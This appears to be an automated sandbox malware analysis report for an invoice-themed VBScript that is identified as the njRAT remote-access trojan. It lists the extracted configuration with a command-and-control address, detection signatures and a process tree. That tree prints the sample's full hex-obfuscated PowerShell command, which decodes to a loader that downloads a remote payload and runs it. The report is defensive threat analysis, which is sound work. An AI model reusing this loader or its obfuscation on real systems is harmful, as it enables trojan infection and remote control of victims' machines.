Overview

overview

10

Static

static

Invoice#52190.vbs

windows7_x64

10

Invoice#52190.vbs

windows10_x64

10

Analysis

  • max time kernel
    149s
  • max time network
    138s
  • platform
    windows10_x64
  • resource
    win10-en
  • submitted
    02/09/2021, 13:19

Sharing

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Report Analysis Logs

General

  • Target
    Invoice#52190.vbs
  • Size 3KB
  • Sample210902-2wn593jf3n
  • SHA256 3441e66bd2febee7b35a6268f466b526628cdc2de0abab93b5cbf8a4c239d50a
  • MD5 SHA1 SHA512
Score
10/10
njratbosssuricatatrojan

Malware Config

Extracted

Family

  • njrat

Version

  • v4.0

Botnet

  • Boss

C2

  • 103.147.184.73:7103

Mutex

  • Windows

Attributes
  • reg_key

    Windows

  • splitter

    |-F-|

Signatures

  • njRAT/Bladabindi

    Widely used RAT written in .NET.

    trojannjrat
  • suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)

    suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)

    suricata
  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 30 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Invoice#52190.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4524
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SOS='2@-H-53-H-5A-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@E-H-@A-H-53-H-@@-H-@6-H-@7-H-@8-H-20-H-3D-H-20-H-27-H-68-H-7@-H-7@-H-70-H-73-H-3A-H-2F-H-2F-H-7@-H-72-H-61-H-6E-H-73-H-66-H-65-H-72-H-2E-H-73-H-68-H-2F-H-67-H-65-H-7@-H-2F-H-55-H-@5-H-50-H-6D-H-@1-H-6A-H-2F-H-66-H-69-H-78-H-2E-H-7@-H-78-H-7@-H-27-H-3B-H-0D-H-0A-H-2@-H-@5-H-@@-H-52-H-@6-H-@7-H-@8-H-@E-H-@A-H-@D-H-@B-H-@@-H-@5-H-@6-H-@7-H-@8-H-@A-H-20-H-3D-H-20-H-27-H-6E-H-@5-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-@5-H-62-H-@3-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-5@-H-27-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-27-H-2C-H-27-H-7@-H-2E-H-57-H-27-H-29-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-27-H-2C-H-27-H-6C-H-@9-H-@5-H-@E-H-27-H-29-H-3B-H-0D-H-0A-H-2@-H-53-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@E-H-@A-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@A-H-@B-H-20-H-3D-H-20-H-27-H-@@-H-@F-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-61-H-@@-H-53-H-5@-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-@7-H-27-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-27-H-2C-H-27-H-57-H-6E-H-@C-H-6F-H-27-H-29-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-27-H-2C-H-27-H-72-H-@9-H-6E-H-27-H-29-H-3B-H-0D-H-0A-H-2@-H-53-H-57-H-58-H-@@-H-@5-H-@3-H-52-H-@6-H-@7-H-59-H-@8-H-55-H-@A-H-@9-H-53-H-@@-H-@6-H-56-H-@7-H-@8-H-@A-H-20-H-3D-H-27-H-@9-H-60-H-@5-H-58-H-28-H-6E-H-60-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-60-H-63-H-60-H-5@-H-20-H-2@-H-@5-H-@@-H-52-H-@6-H-@7-H-@8-H-@E-H-@A-H-@D-H-@B-H-@@-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-@7-H-@2-H-@8-H-@E-H-@A-H-53-H-@@-H-@6-H-@7-H-@8-H-29-H-27-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-27-H-2C-H-27-H-65-H-60-H-57-H-60-H-2D-H-@F-H-62-H-6A-H-60-H-@5-H-27-H-29-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-27-H-2C-H-27-H-@5-H-@6-H-@7-H-@8-H-@A-H-29-H-2E-H-2@-H-53-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@E-H-@A-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@A-H-@B-H-28-H-2@-H-53-H-5A-H-58-H-@@-H-@3-H-@6-H-56-H-27-H-29-H-3B-H-0D-H-0A-H-26-H-28-H-27-H-@9-H-27-H-2B-H-27-H-@5-H-58-H-27-H-29-H-28-H-2@-H-53-H-57-H-58-H-@@-H-@5-H-@3-H-52-H-@6-H-@7-H-59-H-@8-H-55-H-@A-H-@9-H-53-H-@@-H-@6-H-56-H-@7-H-@8-H-@A-H-20-H-2D-H-@A-H-6F-H-69-H-6E-H-20-H-27-H-27-H-29-H-7C-H-26-H-28-H-27-H-@9-H-27-H-2B-H-27-H-@5-H-58-H-27-H-29-H-3B-H-'.Replace('@','4');Invoke-Expression (-join ($SOS -split '-H-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4928
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4380

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/4380-163-0x0000000005F30000-0x0000000005F31000-memory.dmp
        Download

        memory/4380-161-0x0000000005850000-0x0000000005851000-memory.dmp
        Download

        memory/4380-166-0x00000000060A0000-0x00000000060A1000-memory.dmp
        Download

        memory/4380-165-0x0000000005E30000-0x0000000005E31000-memory.dmp
        Download

        memory/4380-164-0x0000000005E60000-0x0000000005E61000-memory.dmp
        Download

        memory/4380-162-0x0000000006440000-0x0000000006441000-memory.dmp
        Download

        memory/4380-156-0x0000000000400000-0x000000000040E000-memory.dmp
        Download

        memory/4928-119-0x000002B0BBD40000-0x000002B0BBD42000-memory.dmp
        Download

        memory/4928-155-0x000002B0BC0E0000-0x000002B0BC0E3000-memory.dmp
        Download

        memory/4928-144-0x000002B0BBD48000-0x000002B0BBD49000-memory.dmp
        Download

        memory/4928-132-0x000002B0BBD46000-0x000002B0BBD48000-memory.dmp
        Download

        memory/4928-127-0x000002B0BC110000-0x000002B0BC111000-memory.dmp
        Download

        memory/4928-122-0x000002B0BBD50000-0x000002B0BBD51000-memory.dmp
        Download

        memory/4928-121-0x000002B0BBD43000-0x000002B0BBD45000-memory.dmp
        Download